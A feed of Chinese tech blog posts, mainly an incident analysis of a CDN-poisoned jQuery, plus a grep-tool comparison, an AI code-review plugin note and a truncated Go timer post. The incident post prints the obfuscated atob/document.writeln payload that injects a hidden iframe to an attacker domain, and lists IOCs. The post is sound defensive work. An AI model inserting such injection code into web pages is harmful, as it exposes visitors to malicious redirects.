jev-review</strong> 能接进 Claude Code 和 Codex。安装命令是 <code>npx plugins add NiazMorshed2007/jev-review --target claude-code</code>(Codex 换成 <code>--target codex</code>),装完重启客户端,确认 MCP 连接。之后 Agent 在实现过程中把任务要求、代码差异和必要上下文交给 Jev 评审,拿回分维度的质量信号;改完再用相同要求复评,可以把上一次结果传进去比较。它只发送评审必需的部分,密钥和无关私有代码要自己排除;插件读的变量名是 <code>JEV_API_KEY</code>,和 SDK 的 <code>TYPESAFE_API_KEY</code> 不是一回事。</p><p><strong>官方的 TypeSafe Skill</strong>(<code>npx skills add typesafe-ai/skills --skill typesafe-ai</code>)解决&quot;设计判断&quot;这一步:帮你把工作流拆成窄问题,把阈值和副作用留在代码里。装好之后,在任务里明确要求使用它。官方还有一条建议值得照做,把问题文本和阈值集中放在容易检查的位置,后面判断异常时,直接核对条件就行。</p><p><strong>Claude Code 的 PreToolUse hook</strong> 是第三种玩法:在 Bash 命令执行前做一次判断,检查是否包含删除、覆盖、发布等操作,或者是否读取、传输凭证。知识猫AI实验室(@GeekCatX)的实操指南给了一个完整脚本,思路和我上面那个风险门一样,先用 observe 模式只记录,校准之后再切到 block。它只根据命令文本做附加检查,替代不了原有的权限和沙箱。</p><p>想看别人把 Jev 用在了什么地方,可以去 jevable.com,上面收集了社区演示项目,可以按类别筛选。</p><h2 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h2><p>这几天用下来,速度和价格不是最打动我的地方。它讲清楚了一个分工:生成和判断是两种不同的工作,该用两种不同的模型。</p><p>写文案、写代码、写解释,这些是生成,交给 LLM;从一堆候选里选一个、判断一个命题成不成立、给一个状态打分,这些是判断,交给 Jev。两者之间是普通代码,它拿着概率和阈值,决定走哪条路、要不要人来看一眼。TypeSafe 管这个叫&quot;软件内部的决策原语&quot;,按我的体感,它把&quot;AI 功能&quot;从聊天框里拿出来,变成一行可以测、可以审计、可以设阈值的代码。</p><img src="/2026/09/21/jev-ai-model-concepts-scenarios-hands-on/image-20260920225834966.png" class="">

网站被投毒

2026-09-19 04:01:04

<p>2026-09-17,我发现 colobu.com 的页面上被加载了一个可疑 iframe:<code>https://soduncdn.com/m.html</code>。域名注册于十天前、没有任何 A 记录、被 6&#x2F;89 个安全引擎标记。查了一圈之后,结论有点出乎意料。</p><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p><strong>页面本身没被改。被投毒的是页面引用的那个第三方 CDN 脚本。</strong></p><p>出问题的是一行看起来再普通不过的写法:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">&quot;//cdn.staticfile.org/jquery/1.11.1/jquery.min.js&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p><code>cdn.staticfile.org</code> 会在<strong>极低概率</strong>下返回一个被追加了 383 字节的篡改版 jQuery(96169 字节,官方版本是 95786 字节)。这 383 字节干的事,就是往页面里塞一个隐藏 iframe。</p><span id="more"></span><h2 id="关键证据"><a href="#关键证据" class="headerlink" title="关键证据"></a>关键证据</h2><p>我在一次页面加载中抓到了篡改版,与官方的差异只有末尾追加的这一段:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span>(!!<span class="number">0</span>)&#123;<span class="keyword">while</span>(!!<span class="number">1</span>)&#123;<span class="keyword">var</span> _Il101l=<span class="number">0</span>;<span class="keyword">break</span>;&#125;&#125;<span class="keyword">if</span>(!<span class="number">1</span>)&#123;<span class="keyword">var</span> _oIO1O0=<span class="number">42</span>|<span class="number">0</span>;&#125;</span><br><span class="line"><span class="variable language_">document</span>[<span class="title function_">atob</span>(<span class="string">&quot;d3JpdGVsbg==&quot;</span>)](<span class="title function_">atob</span>(<span class="string">&quot;PGlmcmFtZSBzcmM9J2h0dHBzOi8vd3d3LmNkbmJvb3N0Y2FjaGUuY29tL3Nkay5odG1sP3M9c3RhdCcgc2FuZGJveD0nYWxsb3ctc2FtZS1vcmlnaW4gYWxsb3ctc2NyaXB0cyBhbGxvdy1wb3B1cHMgYWxsb3ctZm9ybXMnIHN0eWxlPSdwb3NpdGlvbjogZml4ZWQ7dG9wOjA7d2lkdGg6IDA7aGVpZ2h0OjA7bGVmdDotMTAwMHB4O2JvcmRlcjowJz48L2lmcmFtZT4=&quot;</span>))</span><br></pre></td></tr></table></figure><p>前面两个 <code>if(!!0)</code> &#x2F; <code>if(!1)</code> 是永远不会执行的死代码,纯粹用来混淆和改变文件特征。真正干活的是最后一句 <code>document.writeln(atob(...))</code>,解码后是:</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">iframe</span> <span class="attr">src</span>=<span class="string">&#x27;https://www.cdnboostcache.com/sdk.html?s=stat&#x27;</span></span></span><br><span class="line"><span class="tag"> <span class="attr">sandbox</span>=<span class="string">&#x27;allow-same-origin allow-scripts allow-popups allow-forms&#x27;</span></span></span><br><span class="line"><span class="tag"> <span class="attr">style</span>=<span class="string">&#x27;position: fixed;top:0;width: 0;height:0;left:-1000px;border:0&#x27;</span>&gt;</span><span class="tag">&lt;/<span class="name">iframe</span>&gt;</span></span><br></pre></td></tr></table></figure><p>0×0 尺寸、<code>left:-1000px</code> 挪到屏幕外、sandbox 却放开了 scripts &#x2F; popups &#x2F; forms —— 一个教科书式的隐藏 iframe 挂马。用户看到的 <code>soduncdn.com/m.html</code> 就是这条链上轮换的落地域名之一,当时已经被弃用。</p><h2 id="完整的投毒链"><a href="#完整的投毒链" class="headerlink" title="完整的投毒链"></a>完整的投毒链</h2><p>隐藏 iframe 加载之后的链条:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">cdnboostcache.com/sdk.html</span><br><span class="line"> → you.js / sdk16.1.0.js (投放 SDK)</span><br><span class="line"> → cnzztracking.js / lvcryptv16.js(CryptoJS 加密的跳转逻辑)</span><br><span class="line"> → ccmdiiln.com、mdpbmbl.com、sqkimvq.com、sokencn.com、1fm1fwto2.cc 等落地页</span><br></pre></td></tr></table></figure><p>落地页都是典型的黑帽引流站,页面上挂着 51.la、cnzz、百度统计的探针——拿正规统计服务来数自己的&quot;业绩&quot;。</p><p>顺带一提,这个注入<strong>只在移动端 UA 下才完整触发</strong>。桌面 UA 访问时页面干干净净,这也是我一开始 curl 页面源码什么都没发现的原因。</p><h2 id="基础设施关联(最硬的一条线索)"><a href="#基础设施关联(最硬的一条线索)" class="headerlink" title="基础设施关联(最硬的一条线索)"></a>基础设施关联(最硬的一条线索)</h2><p>把域名解析拉出来对比,脉络就很清楚了:</p><table><thead><tr><th>域名</th><th>解析结果</th><th>归属</th></tr></thead><tbody><tr><td><code>cdn.staticfile.org</code></td><td>45.125.35.x &#x2F; 202.181.25.x</td><td>Cloudie Limited(香港,AS133731)</td></tr><tr><td><code>www.cdnboostcache.com</code></td><td>45.125.35.232 &#x2F; 202.181.25.73 &#x2F; 103.231.15.135</td><td>同上</td></tr><tr><td><code>soduncdn.com</code>(用户看到那个)</td><td>103.231.15.199</td><td>同上,<code>103.231.15.0/24</code> 同一网段</td></tr><tr><td>投毒方和恶意托管方,是同一批基础设施,甚至就在同一个 &#x2F;24 里。</td><td></td><td></td></tr></tbody></table><p>还有一处破绽:<code>cdn.staticfile.org</code> 现在的响应头是 <code>server: nginx</code> + <code>cache-control: no-store</code> + 带 <code>X-CSRF-TOKEN</code> 的宽松 CORS。这已经不是一个静态 CDN 该有的样子了,背后跑的是某个应用服务器。这个域名当年是七牛提供的公益 CDN,现在经 <code>cdn77.vip</code>(注意不是正经的 cdn77.com)CNAME 指到了这批香港机器上。</p><h2 id="排查中排除掉的可能"><a href="#排查中排除掉的可能" class="headerlink" title="排查中排除掉的可能"></a>排查中排除掉的可能</h2><table><thead><tr><th>假设</th><th>结论</th></tr></thead><tbody><tr><td>页面源码被注入</td><td>❌ 源码干净,0 个 iframe、0 处 sodun 引用</td></tr><tr><td>GitHub Pages &#x2F; 服务器被改</td><td>❌ 响应头正常,HTTP 301 强制跳 HTTPS,无明文劫持</td></tr><tr><td>本机 HTTPS 中间人</td><td>❌ 系统钥匙串里没有任何非 Apple 根证书;直连与经代理拿到的证书完全一致(<code>CN=staticfile.org</code>)</td></tr><tr><td>本地 Clash 代理注入</td><td>❌ 没有 MITM 证书就无法解密 HTTPS;直连和代理拿到的都是干净版本</td></tr><tr><td>其它 CDN 被改</td><td>❌ cdn.bootcss.com、cdnjs、unpkg 逐个取样,哈希全部与官方一致</td></tr><tr><td>这里踩过一个坑值得记下来:本机 7890 端口挂着代理,<strong>curl 默认不走系统代理、浏览器走</strong>。一开始我用 curl 测了几十次都是干净的,差点得出&quot;没问题&quot;的结论,实际上两者的出口 IP 根本不是同一条路。排查这类问题,先确认自己走的是哪条链路。</td><td></td></tr></tbody></table><h2 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h2><ol><li><strong>换掉 <code>cdn.staticfile.org</code> 和 <code>cdn.bootcss.com</code></strong>。这两个同时期的老 CDN 都没有 SRI,现在又托管在可疑网段上。最稳的做法是把 jQuery &#x2F; lazyload &#x2F; MathJax 自托管到站点自己的静态目录。</li><li><strong>加 SRI 完整性校验</strong>:<code>&lt;script src=&quot;...&quot; integrity=&quot;sha256-...&quot; crossorigin=&quot;anonymous&quot;&gt;</code>。这样即使 CDN 再被投毒,浏览器会直接拒绝执行不匹配的脚本——最坏结果是交互功能坏掉,而不是被挂马。</li><li><strong>加 CSP</strong>。GitHub Pages 不能自定义响应头,用 <code>&lt;meta http-equiv=&quot;Content-Security-Policy&quot;&gt;</code> 限制 <code>frame-src &#39;self&#39; https://utteranc.es</code>,可以直接掐死这类注入的 iframe。</li><li>页面当前 <code>integrity=</code> 出现次数为 <strong>0</strong>,也没有任何 CSP —— 这是这次能被挂上的直接原因。</li></ol><h2 id="一个必须说清楚的局限"><a href="#一个必须说清楚的局限" class="headerlink" title="一个必须说清楚的局限"></a>一个必须说清楚的局限</h2><p><strong>投毒我总共只命中 1 次,之后约 500 次请求(直连 &#x2F; 经代理、桌面 &#x2F; 移动 UA、带不带 Referer、带不带查询串)都没能再复现。</strong></p><p>所以&quot;投毒发生在 CDN 侧&quot;这个结论,靠的是排除法推理:那次响应的 TLS 校验有效 + 本地无 MITM 证书 + 恶意域与 CDN 同网段。按命中率估算大概在 0.2% 量级,属于低概率选择性下发——这类投毒本来就会刻意控制频率来规避检测。</p><p>另外我抓到的样本注入指向 <code>cdnboostcache.com</code>,和当时看到的 <code>soduncdn.com</code> 是同一家族的不同轮换域名。机制一致,但严格说不是同一个 URL。</p><h2 id="附:IOC-清单"><a href="#附:IOC-清单" class="headerlink" title="附:IOC 清单"></a>附:IOC 清单</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"># 投毒链</span><br><span class="line">www.cdnboostcache.com 45.125.15.114 / 45.125.35.232 / 202.181.25.73 / 103.231.15.135</span><br><span class="line">dfd4165k.ccmdiiln.com 118.123.207.178 / 27.159.90.81 / 106.9.244.31</span><br><span class="line">2ot309mh.mdpbmbl.com 同上一组</span><br><span class="line">zxxzv.jxdfq.com 同上一组</span><br><span class="line">55566ss.jxdfq.com 同上一组</span><br><span class="line">11166.sokencn.com 103.151.149.13-20</span><br><span class="line">97785.sqkimvq.com 同上一组</span><br><span class="line">5d01.1fm1fwto2.cc 161.248.14.194 / 137.220.158.126 / 45.192.216.7</span><br><span class="line">soduncdn.com 103.231.15.199(已停止解析)</span><br><span class="line"></span><br><span class="line"># 文件特征</span><br><span class="line">篡改版 jQuery 1.11.1:96169 字节,sha256 c5c85d8448a41a41...</span><br><span class="line">官方 jQuery 1.11.1:95786 字节,sha256 540bc6dec1dd4b92...</span><br></pre></td></tr></table></figure><h2 id="附:这次用到的排查手法"><a href="#附:这次用到的排查手法" class="headerlink" title="附:这次用到的排查手法"></a>附:这次用到的排查手法</h2><ol><li><strong>别只看源码</strong>——现代挂马是运行时注入的,源码干净不代表安全。</li><li><strong>CDP 抓 <code>Network.requestWillBeSent</code> 的 <code>initiator.stack</code></strong>,能直接拿到&quot;是哪个脚本发起了这个恶意请求&quot;。</li><li><strong>逐次加载做内容哈希 diff</strong>——谁的内容会变,谁就是注入源。这次正是靠这招锁定了 jQuery。</li><li><strong>用 curl 时注意代理</strong>——<code>--noproxy &#39;*&#39;</code> 和 <code>-x</code> 是两条完全不同的路,出口 IP 不同,看到的可能是两个世界。</li><li><strong>把域名解析拉出来对比网段</strong>——投毒方和托管方经常住在一起,这是最快建立关联的手段。</li></ol>

grep 工具大盘点:rg、tgrep、rawgrep、zg

2026-09-13 23:31:26

<img src="/2026/09/13/grep-tools-comparison-rg-tgrep-rawgrep-zg/image-20260913152925341.png" class=""><p>如果你问一个程序员&quot;平时在代码库里怎么找东西&quot;,大概率会得到一个答案:<a href="https://github.com/BurntSushi/ripgrep"><code>rg</code></a>。ripgrep 从 2016 年发布到现在,快十年了,又快又稳,68k stars,早就成了事实标准。</p><p>但你要是追问一句&quot;<strong>仓库已经大到 rg 也要扫好几秒,怎么办</strong>&quot;,答案就变得有看头了。过去一两年,grep 世界冒出来好几路新势力,同一个老问题,各自给了一份不同的答卷:</p><ul><li><a href="https://github.com/microsoft/tgrep"><strong>tgrep</strong></a>(微软):预建三元组索引,一次启动、永久秒搜,已经被 Copilot CLI 集成;</li><li><a href="https://github.com/rakivo/rawgrep"><strong>rawgrep</strong></a>:绕过文件系统,直接读裸盘;</li><li><a href="https://github.com/zvec-ai/zvec-grep"><strong>zg</strong></a>(阿里 zvec):把 ripgrep、BM25、向量检索捏进一个入口,专门伺候人和 AI Agent。</li></ul><p>加上守擂的 <strong>rg</strong>,这四把刀恰好是四条完全不同的技术路线。挨个拆开看。</p><p>先交代一个背景。AI Coding 时代,&quot;搜索&quot;从开发者的日常工具变成了 Agent 的核心基础设施,Agent 找证据靠它、省 token 也靠它。所以这四把刀里有两把(tgrep、zg)几乎就是冲着 AI 编程助手做的。而且更有意思的是,今天主流的几个 Coding Agent,Claude Code、OpenAI Codex、Pi,默认的代码搜索引擎不约而同都选了 ripgrep。这个细节放到第五节说。</p><span id="more"></span><h2 id="一、rg:把-全量扫描-做到极致"><a href="#一、rg:把-全量扫描-做到极致" class="headerlink" title="一、rg:把&quot;全量扫描&quot;做到极致"></a>一、rg:把&quot;全量扫描&quot;做到极致</h2><p>rg 的思路简单粗暴:把每个文件从头到尾读一遍,用 SIMD 加速的 regex 引擎去匹配。这一派的全部本事,都押在&quot;单位时间能扫多少字节&quot;上。</p><p>为了跑赢这个目标,rg 做了几件事:</p><ul><li><strong>默认递归 + 自动过滤</strong>:gitignore、隐藏文件、二进制文件默认全跳过,<code>rg -uuu</code> 才彻底放开;</li><li><strong>Unicode 默认开启且不掉速</strong>:GNU grep 到现在都做不到这点,rg 是&quot;一直开着 Unicode 还最快&quot;;</li><li><strong>类型过滤</strong>:<code>rg -tpy foo</code> 只搜 Python 文件,<code>rg -Tjs foo</code> 排除 JS,还能自定义类型;</li><li><strong>PCRE2 可选</strong>:<code>-P</code> 切到回溯引擎,前瞻、反向引用都能用,平时不用则默认引擎保持快;</li><li><strong>搜压缩文件</strong>:<code>-z</code> 直接搜 gzip、xz、bzip2 等;</li><li><strong>预处理器管道</strong>:可以把 PDF 抽取成文本再搜;</li><li><strong>编码支持</strong>:UTF-16、GBK、Shift_JIS 等都能指定。</li></ul><p>性能上,它 README 里的 benchmark 一直是别的工具拿来&quot;仰望&quot;的:Linux 内核源码搜 <code>[A-Z]+_SUSPEND</code> 只要 0.082s(i9-12900K,rg 官方 README 数据),比 ag 快 5 倍,比 ack、git grep 快 30 多倍。</p><p>一次搜索的耗时,和&quot;所有被搜文件的总字节数&quot;成正比(也就是 O(n),n 是总字节数)。rg 不建索引、不缓存,它搜索之前并不知道哪些文件可能命中,只能把范围内的每个文件从头到尾读一遍去匹配。所以搜 1GB 的仓库是搜 100MB 仓库的 10 倍耗时,跟模式多简单没关系。</p><h2 id="二、tgrep:换赛道,先建索引,只碰候选文件"><a href="#二、tgrep:换赛道,先建索引,只碰候选文件" class="headerlink" title="二、tgrep:换赛道,先建索引,只碰候选文件"></a>二、tgrep:换赛道,先建索引,只碰候选文件</h2><p>微软的 tgrep 直接换了个思路:不做全扫,而是<strong>预建三元组(trigram)索引</strong>,搜索时只碰那些&quot;可能命中&quot;的文件。它的口号很拽:</p><blockquote><p>Start a server once, search instantly forever.</p></blockquote><p>用法就三句话:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">tgrep index . <span class="comment"># 建三元组索引</span></span><br><span class="line">tgrep serve . <span class="comment"># 起一个后台服务,自动监听文件变化</span></span><br><span class="line">tgrep <span class="string">&quot;fn main&quot;</span> . <span class="comment"># 秒出结果,自动连上正在跑的 server</span></span><br></pre></td></tr></table></figure><p>它采用server&#x2F;client的架构。</p><p>效果有多夸张,看它 README 里的 benchmark。gecko-dev 这个 388K 文件的仓库,macOS 上 ripgrep 一次搜索要 <strong>33.4 秒</strong>,tgrep 只要 <strong>643 毫秒</strong>,51.9 倍。chromium 504K 文件是 15.8 倍,Linux 内核 21 倍。18 个测试格子里,tgrep 赢了 17 个。</p><p>它已经被 <strong>GitHub Copilot CLI</strong> 集成进去,给 AI 编程助手做超大仓库的代码搜索。能被 Copilot 挑中,这条路线本身就被大规模验证过了。</p><p>架构上有几个点值得说:</p><ul><li><strong>双层索引</strong>:<code>IndexReader</code>(磁盘上 mmap 的索引,零拷贝、二分查找)+ <code>LiveIndex</code>(内存覆盖层,处理 server 启动后新改的文件),查询时两层合并,overlay 优先;</li><li><strong>后台并行建索引</strong>(rayon,每批 1024 个文件),没建完之前查询先退回文件系统扫描,不会让你干等;</li><li><strong>周期落盘</strong>:每 5 分钟或每 5 万个文件,把内存索引刷到磁盘并换读端,内存有界;</li><li><strong>内存有界建索引</strong>:默认 external 策略,用外部归并排序把峰值内存压到 <del>160MB,同样一个索引纯内存态要 2</del>3.6GB,<strong>降了 17 倍还不掉速</strong>。</li></ul><p>适合什么场景?<strong>超大 monorepo + 同一个仓库被搜很多次</strong>。索引成本摊得越薄越赚。如果只是偶尔 grep 一下的小项目,建索引的功夫可能比直接扫还贵,不过 tgrep 留了 <code>--no-index</code>,随时退回全扫。</p><p>两个使用上的坑,README 里特意强调过:</p><ol><li><code>tgrep index</code> 和 <code>tgrep serve</code> 的参数(比如 <code>--max-filesize</code>、<code>--exclude</code>)<strong>必须保持一致</strong>,不然 server 会把超过限额的索引文件当成&quot;已删除&quot;;</li><li><code>.gitignore</code> 只在 git 仓库里生效(和 rg 一致),非 git 目录要显式加 <code>--no-require-git</code>,否则索引会比你预期的大很多。</li></ol><h2 id="三、rawgrep:物理外挂,直接读裸盘"><a href="#三、rawgrep:物理外挂,直接读裸盘" class="headerlink" title="三、rawgrep:物理外挂,直接读裸盘"></a>三、rawgrep:物理外挂,直接读裸盘</h2><p>如果说 tgrep 是&quot;换算法&quot;,那 rawgrep 是&quot;换介质&quot;。它压根不走文件系统,直接读裸块设备。口号是 <strong>Grep at the speed of raw disk</strong>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 一次性授予能力(只绕过&quot;读权限检查&quot;这一个权限,只读、永不写盘)</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">setcap</span> cap_dac_read_search=eip ./target/release-fast/rawgrep</span><br><span class="line"></span><br><span class="line"><span class="comment"># 之后不用 sudo</span></span><br><span class="line">rawgrep <span class="string">&quot;TODO&quot;</span> /var/log</span><br></pre></td></tr></table></figure><p><code>/dev/sda1</code> 归内核管,所以要读它,要么每次 <code>sudo</code>,要么用 Linux capability 只授 <code>cap_dac_read_search</code> 这一个能力。</p><p>它快的关键有两点:</p><ol><li><strong>绕过文件系统</strong>,直接流式读设备,少一层开销;</li><li><strong>fragment cache</strong>:一个基于&quot;片段&quot;的缓存(灵感来自 nowgrep),会&quot;学习&quot;哪些文件在重复搜索中可以跳过。搜索越大越勤,这个缓存越值钱。</li></ol><p>Chromium 500K 文件的语料上搜 <code>TODO</code>:热缓存 + fragment cache 是 131.8ms,rg 是 363.5ms(<strong>2.76 倍</strong>);冷缓存下 2.72s vs 11.90s(<strong>4.38 倍</strong>)。大语料优势更明显,作者在自己 127 万个文件的 home 目录上跑出过 <strong>~60 倍</strong>。</p><p>但代价也很实在,作者在 README 里全摊开了:</p><ul><li><strong>只有 Linux</strong>,且要求 ext4&#x2F;ntfs 文件系统,macOS、Windows 直接劝退;</li><li><strong>需要 root 或 setcap 能力</strong>,给二进制授绕过读权限的能力,很多人不敢也不该碰;</li><li><strong>内存占用还没优化好</strong>,作者自己吐槽 RSS 偏高,目前一门心思扑在&quot;快&quot;上。</li></ul><p>说白了,这是个很酷的技术玩具,加上少量特定场景(只读分区、超大日志、要反复搜的超大盘)是真利器。但对绝大多数开发者,&quot;读裸盘&quot;这四个字就把门槛焊死了。日常大概率用不上,但值得知道它的存在,它算是&quot;grep 性能天花板&quot;的一个参照系。</p><h2 id="四、zg:把语义搜索塞进-grep,专门伺候-AI-Agent"><a href="#四、zg:把语义搜索塞进-grep,专门伺候-AI-Agent" class="headerlink" title="四、zg:把语义搜索塞进 grep,专门伺候 AI Agent"></a>四、zg:把语义搜索塞进 grep,专门伺候 AI Agent</h2><p>前三个都还在解决&quot;正则匹配怎么更快&quot;,zg(zvec-grep)直接跳出关键词的框:把 <strong>ripgrep + BM25 + 向量检索</strong>统一在一个本地优先的入口后面。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 需要 Node.js 22+,npm 全局安装</span></span><br><span class="line">npm install -g @zvec/zvec-grep</span><br><span class="line"></span><br><span class="line"><span class="comment"># 建索引(默认用本地 embedding 模型,数据不出本机)</span></span><br><span class="line">zg index --embedding <span class="built_in">local</span>/potion-retrieval-32m</span><br><span class="line"></span><br><span class="line"><span class="comment"># 人直接搜</span></span><br><span class="line">zg query --human <span class="string">&quot;An unseen creature left a few marks. What did the detective infer?&quot;</span> --<span class="built_in">limit</span> 3</span><br><span class="line"></span><br><span class="line"><span class="comment"># 或者装进 AI Agent,让它自己决定怎么搜</span></span><br><span class="line">zg install --target opencode --<span class="built_in">yes</span></span><br></pre></td></tr></table></figure><p>它的定位很简单:<strong>先按意思找东西,再按关键词验证</strong>。先用语义召回相关片段、按相关性排序,需要精确确认时再落到文本或正则。支持源码、文档、结构化数据多格式检索,结果保留结构和来源位置。</p><p>跟前面几个工具比,它有两个很不一样的地方。</p><p>一个是&quot;本地优先&quot;不是口号。文件、索引、本地模型全在本机,远程 embedding 只有你授权才会上传数据。对代码这种敏感数据,这个默认值很重要。</p><p>另一个是它天生为 Agent 设计。有 MCP 支持,能接 Codex、Claude Code、Qwen Code、Cursor、OpenCode。它的 benchmark 也是拿 Agent 跑的:SWE-QA-Bench 用 Claude Code + Opus,BrowseComp-Plus 用 Codex,比的是&quot;回答质量、输入 token、工具调用次数、耗时&quot;,而不是单纯的手速。结论很对我的胃口:<strong>语义召回能显著减少 Agent 的无效搜索和 token 消耗</strong>。</p><p>作者是阿里的 zvec 团队,README 中英双语,社区直接放钉钉、微信群、Discord 二维码,少见地接地气,交流起来方便。</p><h2 id="五、Claude-Code、Codex、Pi:Coding-Agent-现在都用啥搜代码"><a href="#五、Claude-Code、Codex、Pi:Coding-Agent-现在都用啥搜代码" class="headerlink" title="五、Claude Code、Codex、Pi:Coding Agent 现在都用啥搜代码"></a>五、Claude Code、Codex、Pi:Coding Agent 现在都用啥搜代码</h2><p>前面说&quot;搜索是 Agent 的核心基础设施&quot;,那今天的头部 Coding Agent 到底用什么工具搜代码?我把它们的实现翻了一遍,结论意外地统一:<strong>全是 ripgrep</strong>。</p><ul><li><p><strong>Claude Code</strong>:内置的 Grep 工具底层就是 ripgrep,而且直接捆绑在发行版里,不用你机器上装了 rg,装好 Claude Code 就自带,跨平台行为一致。默认并行搜索,正则语义和 rg 完全一致。</p></li><li><p><strong>Codex</strong>(OpenAI):更干脆。它的打包脚本里有一句硬要求,&quot;ripgrep is required for all package targets&quot;,意思是每个平台的发行版都必须带上 rg。所以 Codex 沙箱里的代码搜索,用的就是这个捆绑好的 ripgrep,不用管目标机器装没装。</p></li><li><p><strong>Pi</strong>(earendil-works&#x2F;pi):内置工具清单里就有 <code>grep</code> 和 <code>find</code>。它那个 grep 工具的实现,是 spawn 一个 <code>rg</code> 进程,传上 <code>--json --line-number --color=never --hidden</code> 这套参数,再解析 ripgrep 的 JSON 输出。如果机器上没有 rg,还会自动帮你下载一个。</p></li></ul><p>三家不同阵营的 Coding Agent,底层都选了同一个引擎:ripgrep。原因不难理解:对 Agent 来说,&quot;搜代码&quot;这个动作不能出错、不能慢,而 ripgrep 是那个经过十年验证、默认行为合理(尊重 gitignore、跳过二进制)、输出格式好解析(<code>--json</code>)的默认答案。<strong>Agent 的第一搜,都是 rg。</strong></p><p>这也正好解释了前面那两把新刀存在的意义。rg 是 Agent 的默认,但当仓库大到 rg 也要扫好几秒时,tgrep 用索引把&quot;每次全扫&quot;变成&quot;只碰候选文件&quot;,zg 用语义召回减少 Agent 的无效搜索和 token 消耗。它们都是在&quot;rg 这个默认答案&quot;之上继续卷。</p><h2 id="六、怎么选:一张表"><a href="#六、怎么选:一张表" class="headerlink" title="六、怎么选:一张表"></a>六、怎么选:一张表</h2><table><thead><tr><th>工具</th><th>思路</th><th>实现</th><th>平台</th><th>适合场景</th><th>上手成本</th></tr></thead><tbody><tr><td><strong>rg</strong></td><td>全扫派:算法足够快</td><td>Rust</td><td>全平台</td><td>日常一切 grep</td><td>极低,安装即用</td></tr><tr><td><strong>tgrep</strong></td><td>索引派:预建三元组</td><td>Rust</td><td>全平台</td><td>超大 monorepo、高频重复搜</td><td>中,先建索引</td></tr><tr><td><strong>rawgrep</strong></td><td>裸盘派:绕过文件系统</td><td>Rust</td><td>仅 Linux</td><td>只读分区、超大日志</td><td>高,需 root&#x2F;能力</td></tr><tr><td><strong>zg</strong></td><td>语义派:向量 + BM25 + rg</td><td>TypeScript</td><td>全平台</td><td>AI Agent、语义检索</td><td>中,需 Node 22+</td></tr><tr><td>几个朴素建议:</td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table><ul><li>如果只是日常写代码找东西,<strong>rg 永远是默认</strong>,别折腾,稳如老狗。</li><li>如果仓库大到 rg 一次要等好几秒,而且你(或你的 AI)一天要搜几十次,<strong>tgrep</strong> 值得上,索引成本早就摊回来了。Copilot CLI 都选它了,说明是被验证过的路线。</li><li><strong>rawgrep</strong> 适合当性能天花板来看,真要用得先确认自己接受&quot;Linux + 能力&quot;的门槛。</li><li>如果你在用 AI Coding Agent,且受够了它在一堆无关代码里瞎翻、白白烧 token,<strong>zg</strong> 是值得关注的那个。语义 + 关键词的组合拳,正好补上纯 grep 在&quot;不知道确切名字&quot;时抓瞎的短板。</li></ul><p>最后说一句。这四把刀并排放一起,是个挺有意思的切面:同一个&quot;找东西&quot;的问题,有人押算法,有人押索引,有人押硬件,有人押语义。你按自己的场景挑一把顺手的就行,不用纠结谁是最强的。</p>

go time.After 优化

2026-09-11 04:00:55

<p>这里给你一个典型的<strong>循环内复用 timer</strong> 的例子,这是 <code>NewTimer</code>+<code>Reset</code> 最常见的使用场景:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">worker</span><span class="params">(ctx context.Context, workCh &lt;-<span class="keyword">chan</span> Task)</span></span> &#123;</span><br><span class="line"> timer := time.NewTimer(<span class="number">5</span> * time.Second)</span><br><span class="line"> <span class="keyword">defer</span> timer.Stop()</span><br><span class="line"></span><br><span class="line">&lt;!--more--&gt;</span><br><span class="line"> <span class="keyword">for</span> &#123;</span><br><span class="line"> <span class="comment">// 每次循环前重置计时器</span></span><br><span class="line"> <span 